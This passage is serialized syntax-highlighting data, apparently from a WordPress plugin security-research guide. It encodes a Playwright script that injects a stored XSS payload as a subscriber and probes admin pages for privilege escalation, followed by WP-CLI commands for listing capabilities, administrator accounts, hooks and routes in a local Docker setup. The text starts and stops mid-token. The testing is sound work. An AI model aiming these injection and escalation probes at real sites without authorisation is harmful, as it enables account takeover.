admin'",[36,29859,9831],{"class":605},[36,29861,29862],{"class":38,"line":255},[36,29863,323],{"class":605},[36,29865,29866],{"class":38,"line":261},[36,29867,61],{"emptyLinePlaceholder":60},[36,29869,29870,29872,29874,29877,29879,29881,29883,29885],{"class":38,"line":267},[36,29871,24924],{"class":102},[36,29873,29734],{"class":102},[36,29875,29876],{"class":49}," getNonce",[36,29878,18300],{"class":605},[36,29880,29742],{"class":23889},[36,29882,13002],{"class":605},[36,29884,2718],{"class":23889},[36,29886,26035],{"class":605},[36,29888,29889],{"class":38,"line":273},[36,29890,29891],{"class":42},"    \u002F\u002F Get nonce for a specific action from admin page\n",[36,29893,29894,29896,29898,29900,29902,29904,29907,29909,29911,29913,29915,29917,29919],{"class":38,"line":279},[36,29895,24942],{"class":102},[36,29897,25064],{"class":95},[36,29899,24948],{"class":102},[36,29901,24951],{"class":102},[36,29903,29751],{"class":605},[36,29905,29906],{"class":49},"evaluate",[36,29908,18300],{"class":605},[36,29910,24924],{"class":102},[36,29912,25047],{"class":605},[36,29914,2718],{"class":23889},[36,29916,11645],{"class":605},[36,29918,24930],{"class":102},[36,29920,23918],{"class":605},[36,29922,29923,29926,29929,29931,29933,29935,29937,29940],{"class":38,"line":285},[36,29924,29925],{"class":102},"        const",[36,29927,29928],{"class":95}," resp",[36,29930,24948],{"class":102},[36,29932,24951],{"class":102},[36,29934,24954],{"class":49},[36,29936,18300],{"class":605},[36,29938,29939],{"class":53},"'\u002Fwp-admin\u002Fadmin-ajax.php'",[36,29941,23822],{"class":605},[36,29943,29944,29947,29949],{"class":38,"line":291},[36,29945,29946],{"class":605},"            method: ",[36,29948,23830],{"class":53},[36,29950,23833],{"class":605},[36,29952,29953,29956,29959,29961,29964,29967],{"class":38,"line":297},[36,29954,29955],{"class":605},"            body: ",[36,29957,29958],{"class":102},"new",[36,29960,25096],{"class":49},[36,29962,29963],{"class":605},"({ action: ",[36,29965,29966],{"class":53},"'get_nonce'",[36,29968,29969],{"class":605},", nonce_action: action }),\n",[36,29971,29972],{"class":38,"line":303},[36,29973,29974],{"class":605},"        });\n",[36,29976,29977,29979,29982,29984,29986,29989,29991],{"class":38,"line":308},[36,29978,29925],{"class":102},[36,29980,29981],{"class":95}," data",[36,29983,24948],{"class":102},[36,29985,24951],{"class":102},[36,29987,29988],{"class":605}," resp.",[36,29990,23899],{"class":49},[36,29992,24065],{"class":605},[36,29994,29995,29998],{"class":38,"line":314},[36,29996,29997],{"class":102},"        return",[36,29999,30000],{"class":605}," data.nonce;\n",[36,30002,30003],{"class":38,"line":320},[36,30004,30005],{"class":605},"    }, action);\n",[36,30007,30008,30011],{"class":38,"line":326},[36,30009,30010],{"class":102},"    return",[36,30012,30013],{"class":605}," nonce;\n",[36,30015,30016],{"class":38,"line":331},[36,30017,323],{"class":605},[36,30019,30020],{"class":38,"line":337},[36,30021,61],{"emptyLinePlaceholder":60},[36,30023,30024,30026,30028,30031,30033,30035],{"class":38,"line":343},[36,30025,24924],{"class":102},[36,30027,29734],{"class":102},[36,30029,30030],{"class":49}," testStoredXSS",[36,30032,18300],{"class":605},[36,30034,29742],{"class":23889},[36,30036,26035],{"class":605},[36,30038,30039,30041,30043,30045,30047,30050,30053],{"class":38,"line":349},[36,30040,29849],{"class":605},[36,30042,29852],{"class":49},[36,30044,18300],{"class":605},[36,30046,28982],{"class":53},[36,30048,30049],{"class":95},"\\n",[36,30051,30052],{"class":53},"Testing stored XSS via plugin settings...'",[36,30054,9831],{"class":605},[36,30056,30057],{"class":38,"line":355},[36,30058,16191],{"class":605},[36,30060,30061],{"class":38,"line":6676},[36,30062,30063],{"class":42},"    \u002F\u002F Inject XSS payload into plugin settings as subscriber\n",[36,30065,30066,30068,30070,30072,30074,30076,30078,30080],{"class":38,"line":6686},[36,30067,25291],{"class":102},[36,30069,29751],{"class":605},[36,30071,29754],{"class":49},[36,30073,18300],{"class":605},[36,30075,29759],{"class":53},[36,30077,1886],{"class":95},[36,30079,29764],{"class":53},[36,30081,9831],{"class":605},[36,30083,30084,30086,30088,30090,30092,30094,30096,30099],{"class":38,"line":6691},[36,30085,25291],{"class":102},[36,30087,29751],{"class":605},[36,30089,29775],{"class":49},[36,30091,18300],{"class":605},[36,30093,29780],{"class":53},[36,30095,13002],{"class":605},[36,30097,30098],{"class":53},"'subscriber'",[36,30100,9831],{"class":605},[36,30102,30103,30105,30107,30109,30111,30113,30115,30118],{"class":38,"line":6697},[36,30104,25291],{"class":102},[36,30106,29751],{"class":605},[36,30108,29775],{"class":49},[36,30110,18300],{"class":605},[36,30112,29800],{"class":53},[36,30114,13002],{"class":605},[36,30116,30117],{"class":53},"'subscriber_pass'",[36,30119,9831],{"class":605},[36,30121,30122,30124,30126,30128,30130,30132],{"class":38,"line":6721},[36,30123,25291],{"class":102},[36,30125,29751],{"class":605},[36,30127,29817],{"class":49},[36,30129,18300],{"class":605},[36,30131,29822],{"class":53},[36,30133,9831],{"class":605},[36,30135,30136],{"class":38,"line":19762},[36,30137,16191],{"class":605},[36,30139,30140,30142,30145,30147,30149,30151,30153,30155,30157,30159,30161],{"class":38,"line":19774},[36,30141,24942],{"class":102},[36,30143,30144],{"class":95}," response",[36,30146,24948],{"class":102},[36,30148,24951],{"class":102},[36,30150,29751],{"class":605},[36,30152,29906],{"class":49},[36,30154,18300],{"class":605},[36,30156,24924],{"class":102},[36,30158,24927],{"class":605},[36,30160,24930],{"class":102},[36,30162,23918],{"class":605},[36,30164,30165,30167,30169,30171,30173],{"class":38,"line":23084},[36,30166,29997],{"class":102},[36,30168,24954],{"class":49},[36,30170,18300],{"class":605},[36,30172,29939],{"class":53},[36,30174,23822],{"class":605},[36,30176,30177,30179,30181],{"class":38,"line":23120},[36,30178,29946],{"class":605},[36,30180,23830],{"class":53},[36,30182,23833],{"class":605},[36,30184,30185,30188,30190],{"class":38,"line":23151},[36,30186,30187],{"class":605},"            credentials: ",[36,30189,23841],{"class":53},[36,30191,23833],{"class":605},[36,30193,30194,30196,30198,30200],{"class":38,"line":23163},[36,30195,29955],{"class":605},[36,30197,29958],{"class":102},[36,30199,25096],{"class":49},[36,30201,25099],{"class":605},[36,30203,30204,30207,30210],{"class":38,"line":23168},[36,30205,30206],{"class":605},"                action: ",[36,30208,30209],{"class":53},"'save_user_bio'",[36,30211,23833],{"class":605},[36,30213,30214,30217,30220],{"class":38,"line":23173},[36,30215,30216],{"class":605},"                bio: ",[36,30218,30219],{"class":53},"'\u003Cscript>window.__xss_fired=true;\u003C\u002Fscript>'",[36,30221,23833],{"class":605},[36,30223,30224],{"class":38,"line":23178},[36,30225,30226],{"class":605},"            }),\n",[36,30228,30229,30232,30234,30236,30238,30240,30242,30244],{"class":38,"line":23185},[36,30230,30231],{"class":605},"        }).",[36,30233,23884],{"class":49},[36,30235,18300],{"class":605},[36,30237,23890],{"class":23889},[36,30239,23893],{"class":102},[36,30241,23896],{"class":605},[36,30243,23899],{"class":49},[36,30245,30246],{"class":605},"());\n",[36,30248,30249],{"class":38,"line":23192},[36,30250,19299],{"class":605},[36,30252,30253],{"class":38,"line":23200},[36,30254,16191],{"class":605},[36,30256,30257,30259,30261,30263,30266],{"class":38,"line":26969},[36,30258,29849],{"class":605},[36,30260,29852],{"class":49},[36,30262,18300],{"class":605},[36,30264,30265],{"class":53},"'Save response:'",[36,30267,30268],{"class":605},", response);\n",[36,30270,30271],{"class":38,"line":26979},[36,30272,16191],{"class":605},[36,30274,30275],{"class":38,"line":26986},[36,30276,30277],{"class":42},"    \u002F\u002F Now visit as admin and check if XSS fires\n",[36,30279,30280,30282,30284],{"class":38,"line":26994},[36,30281,25291],{"class":102},[36,30283,29737],{"class":49},[36,30285,30286],{"class":605},"(page);\n",[36,30288,30289],{"class":38,"line":27004},[36,30290,16191],{"class":605},[36,30292,30293],{"class":38,"line":27011},[36,30294,30295],{"class":42},"    \u002F\u002F Set up XSS detection\n",[36,30297,30298,30301,30304,30306,30309],{"class":38,"line":27018},[36,30299,30300],{"class":102},"    let",[36,30302,30303],{"class":605}," xssFired ",[36,30305,1220],{"class":102},[36,30307,30308],{"class":95}," false",[36,30310,24100],{"class":605},[36,30312,30313,30316,30319,30321,30324,30326,30328,30331,30333],{"class":38,"line":27032},[36,30314,30315],{"class":605},"    page.",[36,30317,30318],{"class":49},"on",[36,30320,18300],{"class":605},[36,30322,30323],{"class":53},"'dialog'",[36,30325,13002],{"class":605},[36,30327,24924],{"class":102},[36,30329,30330],{"class":23889}," dialog",[36,30332,23893],{"class":102},[36,30334,23918],{"class":605},[36,30336,30337,30340,30342,30344],{"class":38,"line":27050},[36,30338,30339],{"class":605},"        xssFired ",[36,30341,1220],{"class":102},[36,30343,24097],{"class":95},[36,30345,24100],{"class":605},[36,30347,30348,30351,30353,30355,30358,30361,30364],{"class":38,"line":27055},[36,30349,30350],{"class":605},"        console.",[36,30352,29852],{"class":49},[36,30354,18300],{"class":605},[36,30356,30357],{"class":53},"'XSS dialog fired:'",[36,30359,30360],{"class":605},", dialog.",[36,30362,30363],{"class":49},"message",[36,30365,30246],{"class":605},[36,30367,30368,30371,30374,30377],{"class":38,"line":27063},[36,30369,30370],{"class":102},"        await",[36,30372,30373],{"class":605}," dialog.",[36,30375,30376],{"class":49},"accept",[36,30378,24065],{"class":605},[36,30380,30381],{"class":38,"line":27071},[36,30382,19299],{"class":605},[36,30384,30386],{"class":38,"line":30385},61,[36,30387,16191],{"class":605},[36,30389,30391,30393,30395,30397,30399,30401,30403,30406],{"class":38,"line":30390},62,[36,30392,25291],{"class":102},[36,30394,29751],{"class":605},[36,30396,29754],{"class":49},[36,30398,18300],{"class":605},[36,30400,29759],{"class":53},[36,30402,1886],{"class":95},[36,30404,30405],{"class":53},"}\u002Fwp-admin\u002Fusers.php`",[36,30407,9831],{"class":605},[36,30409,30411,30413,30415,30418,30420,30423],{"class":38,"line":30410},63,[36,30412,25291],{"class":102},[36,30414,29751],{"class":605},[36,30416,30417],{"class":49},"waitForTimeout",[36,30419,18300],{"class":605},[36,30421,30422],{"class":95},"1000",[36,30424,9831],{"class":605},[36,30426,30428],{"class":38,"line":30427},64,[36,30429,16191],{"class":605},[36,30431,30433,30435,30438,30440,30442,30444,30446,30449,30451],{"class":38,"line":30432},65,[36,30434,24942],{"class":102},[36,30436,30437],{"class":95}," xssInDom",[36,30439,24948],{"class":102},[36,30441,24951],{"class":102},[36,30443,29751],{"class":605},[36,30445,29906],{"class":49},[36,30447,30448],{"class":605},"(() ",[36,30450,24930],{"class":102},[36,30452,30453],{"class":605}," window.__xss_fired);\n",[36,30455,30457,30459,30461,30463,30466,30469,30472],{"class":38,"line":30456},66,[36,30458,29849],{"class":605},[36,30460,29852],{"class":49},[36,30462,18300],{"class":605},[36,30464,30465],{"class":53},"'XSS fired:'",[36,30467,30468],{"class":605},", xssFired ",[36,30470,30471],{"class":102},"||",[36,30473,30474],{"class":605}," xssInDom);\n",[36,30476,30478],{"class":38,"line":30477},67,[36,30479,323],{"class":605},[36,30481,30483],{"class":38,"line":30482},68,[36,30484,61],{"emptyLinePlaceholder":60},[36,30486,30488,30490,30492,30495,30497,30499],{"class":38,"line":30487},69,[36,30489,24924],{"class":102},[36,30491,29734],{"class":102},[36,30493,30494],{"class":49}," testPrivilegeEscalation",[36,30496,18300],{"class":605},[36,30498,29742],{"class":23889},[36,30500,26035],{"class":605},[36,30502,30504,30506,30508,30510,30512,30514,30517],{"class":38,"line":30503},70,[36,30505,29849],{"class":605},[36,30507,29852],{"class":49},[36,30509,18300],{"class":605},[36,30511,28982],{"class":53},[36,30513,30049],{"class":95},[36,30515,30516],{"class":53},"Testing privilege escalation...'",[36,30518,9831],{"class":605},[36,30520,30522],{"class":38,"line":30521},71,[36,30523,16191],{"class":605},[36,30525,30527],{"class":38,"line":30526},72,[36,30528,30529],{"class":42},"    \u002F\u002F Login as subscriber\n",[36,30531,30533,30535,30537,30539,30541,30543,30545,30547],{"class":38,"line":30532},73,[36,30534,25291],{"class":102},[36,30536,29751],{"class":605},[36,30538,29754],{"class":49},[36,30540,18300],{"class":605},[36,30542,29759],{"class":53},[36,30544,1886],{"class":95},[36,30546,29764],{"class":53},[36,30548,9831],{"class":605},[36,30550,30552,30554,30556,30558,30560,30562,30564,30566],{"class":38,"line":30551},74,[36,30553,25291],{"class":102},[36,30555,29751],{"class":605},[36,30557,29775],{"class":49},[36,30559,18300],{"class":605},[36,30561,29780],{"class":53},[36,30563,13002],{"class":605},[36,30565,30098],{"class":53},[36,30567,9831],{"class":605},[36,30569,30571,30573,30575,30577,30579,30581,30583,30585],{"class":38,"line":30570},75,[36,30572,25291],{"class":102},[36,30574,29751],{"class":605},[36,30576,29775],{"class":49},[36,30578,18300],{"class":605},[36,30580,29800],{"class":53},[36,30582,13002],{"class":605},[36,30584,30117],{"class":53},[36,30586,9831],{"class":605},[36,30588,30590,30592,30594,30596,30598,30600],{"class":38,"line":30589},76,[36,30591,25291],{"class":102},[36,30593,29751],{"class":605},[36,30595,29817],{"class":49},[36,30597,18300],{"class":605},[36,30599,29822],{"class":53},[36,30601,9831],{"class":605},[36,30603,30605],{"class":38,"line":30604},77,[36,30606,16191],{"class":605},[36,30608,30610],{"class":38,"line":30609},78,[36,30611,30612],{"class":42},"    \u002F\u002F Try to access admin pages\n",[36,30614,30616,30618,30621,30623],{"class":38,"line":30615},79,[36,30617,24942],{"class":102},[36,30619,30620],{"class":95}," tests",[36,30622,24948],{"class":102},[36,30624,30625],{"class":605}," [\n",[36,30627,30629,30632,30635,30638,30641,30644,30647],{"class":38,"line":30628},80,[36,30630,30631],{"class":605},"        { url: ",[36,30633,30634],{"class":53},"'\u002Fwp-admin\u002F'",[36,30636,30637],{"class":605},", expect: ",[36,30639,30640],{"class":53},"'\u002Fwp-admin\u002F$'",[36,30642,30643],{"class":605},", name: ",[36,30645,30646],{"class":53},"'Admin Dashboard'",[36,30648,30649],{"class":605}," },\n",[36,30651,30653,30655,30658,30660,30663,30665,30668],{"class":38,"line":30652},81,[36,30654,30631],{"class":605},[36,30656,30657],{"class":53},"'\u002Fwp-admin\u002Foptions-general.php'",[36,30659,30637],{"class":605},[36,30661,30662],{"class":53},"'General Settings'",[36,30664,30643],{"class":605},[36,30666,30667],{"class":53},"'Settings'",[36,30669,30649],{"class":605},[36,30671,30673,30675,30678,30680,30683,30685,30688],{"class":38,"line":30672},82,[36,30674,30631],{"class":605},[36,30676,30677],{"class":53},"'\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers'",[36,30679,30637],{"class":605},[36,30681,30682],{"class":53},"'id'",[36,30684,30643],{"class":605},[36,30686,30687],{"class":53},"'User Enumeration'",[36,30689,30649],{"class":605},[36,30691,30693],{"class":38,"line":30692},83,[36,30694,15586],{"class":605},[36,30696,30698],{"class":38,"line":30697},84,[36,30699,16191],{"class":605},[36,30701,30703,30705,30707,30709,30712,30715],{"class":38,"line":30702},85,[36,30704,11206],{"class":102},[36,30706,25047],{"class":605},[36,30708,25334],{"class":102},[36,30710,30711],{"class":95}," test",[36,30713,30714],{"class":102}," of",[36,30716,30717],{"class":605}," tests) {\n",[36,30719,30721,30723,30725,30727,30729,30731,30733,30735,30737,30739,30741,30744,30746,30749,30752],{"class":38,"line":30720},86,[36,30722,29925],{"class":102},[36,30724,30144],{"class":95},[36,30726,24948],{"class":102},[36,30728,24951],{"class":102},[36,30730,29751],{"class":605},[36,30732,29754],{"class":49},[36,30734,18300],{"class":605},[36,30736,29759],{"class":53},[36,30738,1886],{"class":95},[36,30740,14408],{"class":53},[36,30742,30743],{"class":605},"test",[36,30745,13246],{"class":53},[36,30747,30748],{"class":605},"url",[36,30750,30751],{"class":53},"}`",[36,30753,9831],{"class":605},[36,30755,30757,30759,30762,30764,30766,30768,30771],{"class":38,"line":30756},87,[36,30758,29925],{"class":102},[36,30760,30761],{"class":95}," content",[36,30763,24948],{"class":102},[36,30765,24951],{"class":102},[36,30767,29751],{"class":605},[36,30769,30770],{"class":49},"content",[36,30772,24065],{"class":605},[36,30774,30776],{"class":38,"line":30775},88,[36,30777,30778],{"class":605},"        \n",[36,30780,30782,30784,30787,30789,30792,30795,30798,30800,30803,30805],{"class":38,"line":30781},89,[36,30783,11326],{"class":102},[36,30785,30786],{"class":605}," (response.",[36,30788,30748],{"class":49},[36,30790,30791],{"class":605},"().",[36,30793,30794],{"class":49},"includes",[36,30796,30797],{"class":605},"(test.expect) ",[36,30799,30471],{"class":102},[36,30801,30802],{"class":605}," content.",[36,30804,30794],{"class":49},[36,30806,30807],{"class":605},"(test.expect)) {\n",[36,30809,30811,30814,30816,30818,30821,30823,30825,30828,30831],{"class":38,"line":30810},90,[36,30812,30813],{"class":605},"            console.",[36,30815,29852],{"class":49},[36,30817,18300],{"class":605},[36,30819,30820],{"class":53},"`[FINDING] ${",[36,30822,30743],{"class":605},[36,30824,13246],{"class":53},[36,30826,30827],{"class":605},"name",[36,30829,30830],{"class":53},"}: Accessible to subscriber`",[36,30832,9831],{"class":605},[36,30834,30836,30839,30842],{"class":38,"line":30835},91,[36,30837,30838],{"class":605},"        } ",[36,30840,30841],{"class":102},"else",[36,30843,23918],{"class":605},[36,30845,30847,30849,30851,30853,30856,30858,30860,30862,30865],{"class":38,"line":30846},92,[36,30848,30813],{"class":605},[36,30850,29852],{"class":49},[36,30852,18300],{"class":605},[36,30854,30855],{"class":53},"`[OK] ${",[36,30857,30743],{"class":605},[36,30859,13246],{"class":53},[36,30861,30827],{"class":605},[36,30863,30864],{"class":53},"}: Properly restricted`",[36,30866,9831],{"class":605},[36,30868,30870],{"class":38,"line":30869},93,[36,30871,14122],{"class":605},[36,30873,30875],{"class":38,"line":30874},94,[36,30876,1622],{"class":605},[36,30878,30880],{"class":38,"line":30879},95,[36,30881,323],{"class":605},[36,30883,30885],{"class":38,"line":30884},96,[36,30886,61],{"emptyLinePlaceholder":60},[36,30888,30890,30892,30894,30897],{"class":38,"line":30889},97,[36,30891,24924],{"class":102},[36,30893,29734],{"class":102},[36,30895,30896],{"class":49}," main",[36,30898,11547],{"class":605},[36,30900,30902,30904,30907,30909,30911,30914,30917],{"class":38,"line":30901},98,[36,30903,24942],{"class":102},[36,30905,30906],{"class":95}," browser",[36,30908,24948],{"class":102},[36,30910,24951],{"class":102},[36,30912,30913],{"class":605}," chromium.",[36,30915,30916],{"class":49},"launch",[36,30918,25099],{"class":605},[36,30920,30922,30925,30927],{"class":38,"line":30921},99,[36,30923,30924],{"class":605},"        headless: ",[36,30926,421],{"class":95},[36,30928,23833],{"class":605},[36,30930,30932,30935,30938],{"class":38,"line":30931},100,[36,30933,30934],{"class":605},"        args: [",[36,30936,30937],{"class":53},"'--no-sandbox'",[36,30939,30940],{"class":605},"],\n",[36,30942,30944],{"class":38,"line":30943},101,[36,30945,19299],{"class":605},[36,30947,30949],{"class":38,"line":30948},102,[36,30950,16191],{"class":605},[36,30952,30954,30956,30959,30961,30963,30966,30969],{"class":38,"line":30953},103,[36,30955,24942],{"class":102},[36,30957,30958],{"class":95}," page",[36,30960,24948],{"class":102},[36,30962,24951],{"class":102},[36,30964,30965],{"class":605}," browser.",[36,30967,30968],{"class":49},"newPage",[36,30970,24065],{"class":605},[36,30972,30974],{"class":38,"line":30973},104,[36,30975,16191],{"class":605},[36,30977,30979],{"class":38,"line":30978},105,[36,30980,30981],{"class":42},"    \u002F\u002F Intercept all requests for logging\n",[36,30983,30985,30987,30989,30991,30994,30996,30999,31001],{"class":38,"line":30984},106,[36,30986,30315],{"class":605},[36,30988,30318],{"class":49},[36,30990,18300],{"class":605},[36,30992,30993],{"class":53},"'request'",[36,30995,13002],{"class":605},[36,30997,30998],{"class":23889},"req",[36,31000,23893],{"class":102},[36,31002,23918],{"class":605},[36,31004,31006,31008,31011,31014,31017,31020,31023],{"class":38,"line":31005},107,[36,31007,11326],{"class":102},[36,31009,31010],{"class":605}," (req.",[36,31012,31013],{"class":49},"method",[36,31015,31016],{"class":605},"() ",[36,31018,31019],{"class":102},"===",[36,31021,31022],{"class":53}," 'POST'",[36,31024,26035],{"class":605},[36,31026,31028,31030,31032,31034,31037,31039,31041,31043,31046,31048],{"class":38,"line":31027},108,[36,31029,30813],{"class":605},[36,31031,29852],{"class":49},[36,31033,18300],{"class":605},[36,31035,31036],{"class":53},"`POST ${",[36,31038,30998],{"class":605},[36,31040,13246],{"class":53},[36,31042,30748],{"class":49},[36,31044,31045],{"class":53},"()",[36,31047,30751],{"class":53},[36,31049,9831],{"class":605},[36,31051,31053],{"class":38,"line":31052},109,[36,31054,14122],{"class":605},[36,31056,31058],{"class":38,"line":31057},110,[36,31059,19299],{"class":605},[36,31061,31063],{"class":38,"line":31062},111,[36,31064,16191],{"class":605},[36,31066,31068,31071],{"class":38,"line":31067},112,[36,31069,31070],{"class":102},"    try",[36,31072,23918],{"class":605},[36,31074,31076,31078,31080],{"class":38,"line":31075},113,[36,31077,30370],{"class":102},[36,31079,30030],{"class":49},[36,31081,30286],{"class":605},[36,31083,31085,31087,31089],{"class":38,"line":31084},114,[36,31086,30370],{"class":102},[36,31088,30494],{"class":49},[36,31090,30286],{"class":605},[36,31092,31094,31097,31100],{"class":38,"line":31093},115,[36,31095,31096],{"class":605},"    } ",[36,31098,31099],{"class":102},"finally",[36,31101,23918],{"class":605},[36,31103,31105,31107,31109,31112],{"class":38,"line":31104},116,[36,31106,30370],{"class":102},[36,31108,30965],{"class":605},[36,31110,31111],{"class":49},"close",[36,31113,24065],{"class":605},[36,31115,31117],{"class":38,"line":31116},117,[36,31118,1622],{"class":605},[36,31120,31122],{"class":38,"line":31121},118,[36,31123,323],{"class":605},[36,31125,31127],{"class":38,"line":31126},119,[36,31128,61],{"emptyLinePlaceholder":60},[36,31130,31132,31135,31137,31140],{"class":38,"line":31131},120,[36,31133,31134],{"class":49},"main",[36,31136,30791],{"class":605},[36,31138,31139],{"class":49},"catch",[36,31141,31142],{"class":605},"(console.error);\n",[18,31144,31146],{"id":31145},"useful-wp-cli-commands-for-security-research","Useful WP-CLI Commands for Security Research",[684,31148,31150],{"id":31149},"capability-and-permission-testing","Capability and Permission Testing",[26,31152,31154],{"className":28,"code":31153,"language":30,"meta":31,"style":31},"WP=\"docker compose exec --user=www-data wordpress wp\"\n\n# Check what capabilities a user has\n$WP user list-caps subscriber@test.com\n\n# Test if user can perform an action\n$WP eval 'var_dump(user_can(get_user_by(\"login\",\"subscriber\"), \"edit_posts\"));'\n\n# List all available capabilities in this installation\n$WP role list --format=table\n\n# Get capabilities for a specific role\n$WP role get editor --field=capabilities\n\n# Check current active theme\n$WP theme status\n\n# Evaluate arbitrary PHP in WordPress context (powerful for testing)\n$WP eval '\n$users = get_users([\"role\" => \"administrator\"]);\nforeach ($users as $u) {\n    echo \"Admin: \" . $u->user_login . \" - \" . $u->user_email . \"\\n\";\n}\n'\n\n# Run a specific function and see its output\n$WP eval 'var_dump(wp_get_current_user());'\n$WP eval 'var_dump(get_option(\"active_plugins\"));'\n",[33,31155,31156,31164,31168,31173,31178,31182,31187,31194,31198,31203,31212,31216,31221,31231,31235,31240,31245,31249,31254,31260,31265,31270,31275,31279,31283,31287,31292,31299],{"__ignoreMap":31},[36,31157,31158,31160,31162],{"class":38,"line":39},[36,31159,28198],{"class":605},[36,31161,1220],{"class":102},[36,31163,27457],{"class":53},[36,31165,31166],{"class":38,"line":46},[36,31167,61],{"emptyLinePlaceholder":60},[36,31169,31170],{"class":38,"line":57},[36,31171,31172],{"class":42},"# Check what capabilities a user has\n",[36,31174,31175],{"class":38,"line":64},[36,31176,31177],{"class":605},"$WP user list-caps subscriber@test.com\n",[36,31179,31180],{"class":38,"line":70},[36,31181,61],{"emptyLinePlaceholder":60},[36,31183,31184],{"class":38,"line":78},[36,31185,31186],{"class":42},"# Test if user can perform an action\n",[36,31188,31189,31191],{"class":38,"line":83},[36,31190,28727],{"class":605},[36,31192,31193],{"class":53},"'var_dump(user_can(get_user_by(\"login\",\"subscriber\"), \"edit_posts\"));'\n",[36,31195,31196],{"class":38,"line":89},[36,31197,61],{"emptyLinePlaceholder":60},[36,31199,31200],{"class":38,"line":115},[36,31201,31202],{"class":42},"# List all available capabilities in this installation\n",[36,31204,31205,31208,31210],{"class":38,"line":133},[36,31206,31207],{"class":605},"$WP role list --format",[36,31209,1220],{"class":102},[36,31211,28230],{"class":53},[36,31213,31214],{"class":38,"line":138},[36,31215,61],{"emptyLinePlaceholder":60},[36,31217,31218],{"class":38,"line":144},[36,31219,31220],{"class":42},"# Get capabilities for a specific role\n",[36,31222,31223,31226,31228],{"class":38,"line":158},[36,31224,31225],{"class":605},"$WP role get editor --field",[36,31227,1220],{"class":102},[36,31229,31230],{"class":53},"capabilities\n",[36,31232,31233],{"class":38,"line":255},[36,31234,61],{"emptyLinePlaceholder":60},[36,31236,31237],{"class":38,"line":261},[36,31238,31239],{"class":42},"# Check current active theme\n",[36,31241,31242],{"class":38,"line":267},[36,31243,31244],{"class":605},"$WP theme status\n",[36,31246,31247],{"class":38,"line":273},[36,31248,61],{"emptyLinePlaceholder":60},[36,31250,31251],{"class":38,"line":279},[36,31252,31253],{"class":42},"# Evaluate arbitrary PHP in WordPress context (powerful for testing)\n",[36,31255,31256,31258],{"class":38,"line":285},[36,31257,28727],{"class":605},[36,31259,28746],{"class":53},[36,31261,31262],{"class":38,"line":291},[36,31263,31264],{"class":53},"$users = get_users([\"role\" => \"administrator\"]);\n",[36,31266,31267],{"class":38,"line":297},[36,31268,31269],{"class":53},"foreach ($users as $u) {\n",[36,31271,31272],{"class":38,"line":303},[36,31273,31274],{"class":53},"    echo \"Admin: \" . $u->user_login . \" - \" . $u->user_email . \"\\n\";\n",[36,31276,31277],{"class":38,"line":308},[36,31278,323],{"class":53},[36,31280,31281],{"class":38,"line":314},[36,31282,28746],{"class":53},[36,31284,31285],{"class":38,"line":320},[36,31286,61],{"emptyLinePlaceholder":60},[36,31288,31289],{"class":38,"line":326},[36,31290,31291],{"class":42},"# Run a specific function and see its output\n",[36,31293,31294,31296],{"class":38,"line":331},[36,31295,28727],{"class":605},[36,31297,31298],{"class":53},"'var_dump(wp_get_current_user());'\n",[36,31300,31301,31303],{"class":38,"line":337},[36,31302,28727],{"class":605},[36,31304,31305],{"class":53},"'var_dump(get_option(\"active_plugins\"));'\n",[684,31307,31309],{"id":31308},"plugin-security-checks","Plugin Security Checks",[26,31311,31313],{"className":28,"code":31312,"language":30,"meta":31,"style":31},"# List all hooks registered by a specific plugin\n$WP eval '\nglobal $wp_filter;\nforeach ($wp_filter as $hook => $callbacks) {\n    foreach ($callbacks as $priority => $fns) {\n        foreach ($fns as $fn) {\n            $cb = $fn[\"function\"];\n            $name = is_array($cb) ? get_class($cb[0]).\"::\".$cb[1] : (string)$cb;\n            if (strpos($name, \"my_plugin\") !== false) {\n                echo \"$hook ($priority): $name\\n\";\n            }\n        }\n    }\n}\n'\n\n# Check registered REST routes\n$WP eval '\n$server = rest_get_server();\nforeach ($server->get_routes() as $route => $handlers) {\n    if (strpos($route, \"\u002Fwp\u002Fv2\") === false) {\n        echo \"$route\\n\";\n    }\n}\n'\n\n# Check registered AJAX actions\n$WP eval '\nglobal $wp_filter;\nforeach ($wp_filter as $hook => $callbacks) {\n    if (strpos($hook, \"wp_ajax_\") === 0) {\n        $handlers = [];\n        foreach ($callbacks as $priority => $fns) {\n            foreach ($fns as $fn) {\n                $cb = $fn[\"function\"];\n                $handlers[] = is_array($cb) ? get_class($cb[0]).\"::\".$cb[1] : (string)$cb;\n            }\n        }\n        echo \"$hook -> \" . implode(\", \", $handlers) . \"\\n\";\n    }\n}\n'\n",[33,31314,31315,31320,31326,31331,31336,31341,31346,31351,31356,31361,31366,31371,31375,31379,31383,31387,31391,31396,31402,31407,31412,31417,31422,31426,31430,31434,31438,31443,31449,31453,31457,31462,31467,31472,31477,31482,31487,31491,31495,31500,31504,31508],{"__ignoreMap":31},[36,31316,31317],{"class":38,"line":39},[36,31318,31319],{"class":42},"# List all hooks registered by a specific plugin\n",[36,31321,31322,31324],{"class":38,"line":46},[36,31323,28727],{"class":605},[36,31325,28746],{"class":53},[36,31327,31328],{"class":38,"line":57},[36,31329,31330],{"class":53},"global $wp_filter;\n",[36,31332,31333],{"class":38,"line":64},[36,31334,31335],{"class":53},"foreach ($wp_filter as $hook => $callbacks) {\n",[36,31337,31338],{"class":38,"line":70},[36,31339,31340],{"class":53},"    foreach ($callbacks as $priority => $fns) {\n",[36,31342,31343],{"class":38,"line":78},[36,31344,31345],{"class":53},"        foreach ($fns as $fn) {\n",[36,31347,31348],{"class":38,"line":83},[36,31349,31350],{"class":53},"            $cb = $fn[\"function\"];\n",[36,31352,31353],{"class":38,"line":89},[36,31354,31355],{"class":53},"            $name = is_array($cb) ? get_class($cb[0]).\"::\".$cb[1] : (string)$cb;\n",[36,31357,31358],{"class":38,"line":115},[36,31359,31360],{"class":53},"            if (strpos($name, \"my_plugin\") !== false) {\n",[36,31362,31363],{"class":38,"line":133},[36,31364,31365],{"class":53},"                echo \"$hook ($priority): $name\\n\";\n",[36,31367,31368],{"class":38,"line":138},[36,31369,31370],{"class":53},"            }\n",[36,31372,31373],{"class":38,"line":144},[36,31374,14122],{"class":53},[36,31376,31377],{"class":38,"line":158},[36,31378,1622],{"class":53},[36,31380,31381],{"class":38,"line":255},[36,31382,323],{"class":53},[36,31384,31385],{"class":38,"line":261},[36,31386,28746],{"class":53},[36,31388,31389],{"class":38,"line":267},[36,31390,61],{"emptyLinePlaceholder":60},[36,31392,31393],{"class":38,"line":273},[36,31394,31395],{"class":42},"# Check registered REST 